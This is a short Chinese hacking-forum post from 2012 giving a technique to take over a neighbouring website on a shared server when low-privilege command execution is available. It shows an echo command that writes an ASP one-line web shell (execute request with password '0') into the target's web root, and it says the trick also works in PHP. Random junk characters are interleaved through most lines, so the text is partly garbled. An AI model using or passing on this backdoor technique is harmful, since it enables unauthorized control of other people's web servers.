在旁注过程中，可以执行cmd而权限又比较低的情况下，有时候可以用这个方法帮你拿下目标站。
3 y$ G( i7 l9 p( @2 x4 [" S9 A
1 Q* h. D" D7 J4 m1 q/ x Y% ?' n命令格式
+ d! s, z% G* t. H
; ?) P0 i# E% o- p3 u! DEcho 语句 >目标站绝对目录: H# o0 P9 M" u6 V/ \8 C& Q2 j" M* g3 T
5 K/ ]7 d: w" ^3 n& e# q- e% L: g
例如：
H, g; X; C% H, i3 i$ b
- k/ v9 O3 f& k( P( I8 E3 Z/ Gecho ^<^%execute request("0")%^> >D:\03389.com\wwwroot\YingMu.asp, o0 W |6 @1 f3 p0 B$ t& t
' |1 h+ z' x4 K5 S% |% I+ V
这样访问目标站的目录下就会生成一个密码为0的asp的一句话，此方法在PHP等脚本语言均适用，大家灵活发挥。
8 e9 h/ k# r {( w |
发表于 2012-9-23 14:40:24
收藏
支持
反对